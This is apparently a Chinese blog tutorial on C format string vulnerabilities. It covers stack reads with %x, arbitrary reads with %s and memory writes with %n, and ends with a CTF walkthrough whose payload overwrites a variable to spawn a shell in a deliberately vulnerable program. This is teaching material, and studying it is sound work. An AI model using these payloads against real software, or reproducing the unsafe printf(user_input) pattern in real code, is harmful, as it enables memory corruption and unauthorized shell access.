格式化字符串漏洞

格式化字符串漏洞原理及其利用

0x00简介

在我们开始理解格式化字符串漏洞之前,我们必须得先知道什么是格式化字符串。一个格式化字符串也就是一个ASCII字符串,其包括了文本和格式参数。例如:

printf("My name is: %s", "format");

该函数调用将返回字符串

My name is: format

该printf函数的第一个参数就是格式化字符串,它主要是依靠一个用来告诉程序如何进行格式化输出的说明符。在C程序中我们有许多用来格式化字符串的说明符,在这些说明符后面我们可以填充我们的内容。记住,说明符的前缀总是“%”字符,另外说明符存在许多不同的数据类型,最常见的包括:

%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

可能会存在格式化字符串漏洞的函数包括(但不局限于)fprintf, printf, sprintf, snprintf,等

这里我以printf()为例

一般人可能会这么用它

char str[100];
scanf("%s",str);
printf("%s",str);

这个程序没有问题。然后会有一些人为了偷懒会写成这种样子

char str[100];
scanf("%s",str);
printf(str)

这个程序在printf处用了一种偷懒的写法。这看起来是没有什么问题。但是却产生了一个非常严重的漏洞。

千万不要将printf中的format字符串的操纵权交给用户。保证printf函数的第一个参数是不可变的,在程序员的掌握中的。

0x01漏洞原理

printf()函数的参数个数不固定

#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d %x %x\n",buf,a,b,c);
return 0;
}



这里可以看到,printf忠实的按照我们意愿打印出了6个数值。这些数后面两个值不是我们输入的参数,而是保存在栈中的其他的数值。通过这个特性,黑客们就创造出了格式化字符串的漏洞。

上一个例子只是告诉我们可以利用%x一直读取栈内的内存数据,可是这并不能满足我们的需求不是,我们要的是任意地址读取,当然,这也是可以的,我们通过下面的例子进行分析:

#include <stdio.h>
int main(int argc, char *argv[])
{
    char str[200];
    fgets(str,200,stdin);
    printf(str);
    return 0;
}

有了上一个小例子的经验,我们可以直接尝试去读取str[]的内容呢
gdb调试,单步运行完call 0x8048340 fgets@plt后输入:AAAA%08x%08x%08x%08x%08x%08x

这时候我们需要借助printf()函数的另一个重要的格式化字符参数%s,我们可以用%s来获取指针指向的内存数据。
那么我们就可以这么构造尝试去获取0x41414141地址上的数据:\x41\x41\x41\x41%08x%08x%08x%08x%08x%s

到现在,我们可以利用格式化字符串漏洞读取内存的内容,看起来好像也没什么用啊,就是读个数据而已,我们能不能利用这个漏洞修改内存信息(比如说修改返回地址)从而劫持程序执行流程呢,这需要看printf()函数的另一个特性。

利用%n格式符写入数据

#include <stdio.h>
main()
{
  int num=66666666;
  printf("Before: num = %d\n", num);
  printf("%d%n\n", num, &num);
  printf("After: num = %d\n", num);
}

%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码:

继续执行,我们成功的读到了AAAA:

AAAA000000c8b7fc1c20b7e25438080482100000000141414141

自定义打印字符串宽度

我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:

#include <stdio.h>
main()
{
  int num=66666666;
  printf("Before: num = %d\n", num);
  printf("%.100d%n\n", num, &num);
  printf("After: num = %d\n", num);
}

可以看到我们的num值被改为了100

Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100

比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:

printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);

0x02漏洞利用

这几天刚好遇到一道格式化字符串漏洞pwn题,就以它为例简介一下漏洞的利用,源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int secret = 0;

void give_shell()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

int main(int argc, char **argv)
{
    char buf[128];
    memset(buf, 0, sizeof(buf));
    fgets(buf, 128, stdin);
    printf(buf);

    if (secret == 192)
    {
        give_shell();
    }
    else
    {
        printf("Sorry, secret = %d\n", secret);
    }

    return 0;
}

分析字符串,我们发现可以将printf()函数控制执行,只要我们使secret=192就可以获得权限,因此我们还需要secret的函数地址。接下来让我们通过漏洞获得权限。

首先测试程序漏洞

测试一下输入在什么位置

发现我们输入的AAAA在第四个位置,接下来我们获取secret的位置。

地址是0x804a03c, \x3c\xa0\x04\x08

接下来就是构造payload,secret_Add+%192u%4$n””

发现显示secret=196,将192改为188则可以成功利用漏洞,188=192-4(secret变量地址)

文章目录
  1. 1. 格式化字符串漏洞原理及其利用
    1. 1.1. 0x00简介
    2. 1.2. 0x01漏洞原理
      1. 1.2.1. printf()函数的参数个数不固定
      2. 1.2.2. 利用%n格式符写入数据
      3. 1.2.3. 自定义打印字符串宽度
    3. 1.3. 0x02漏洞利用
|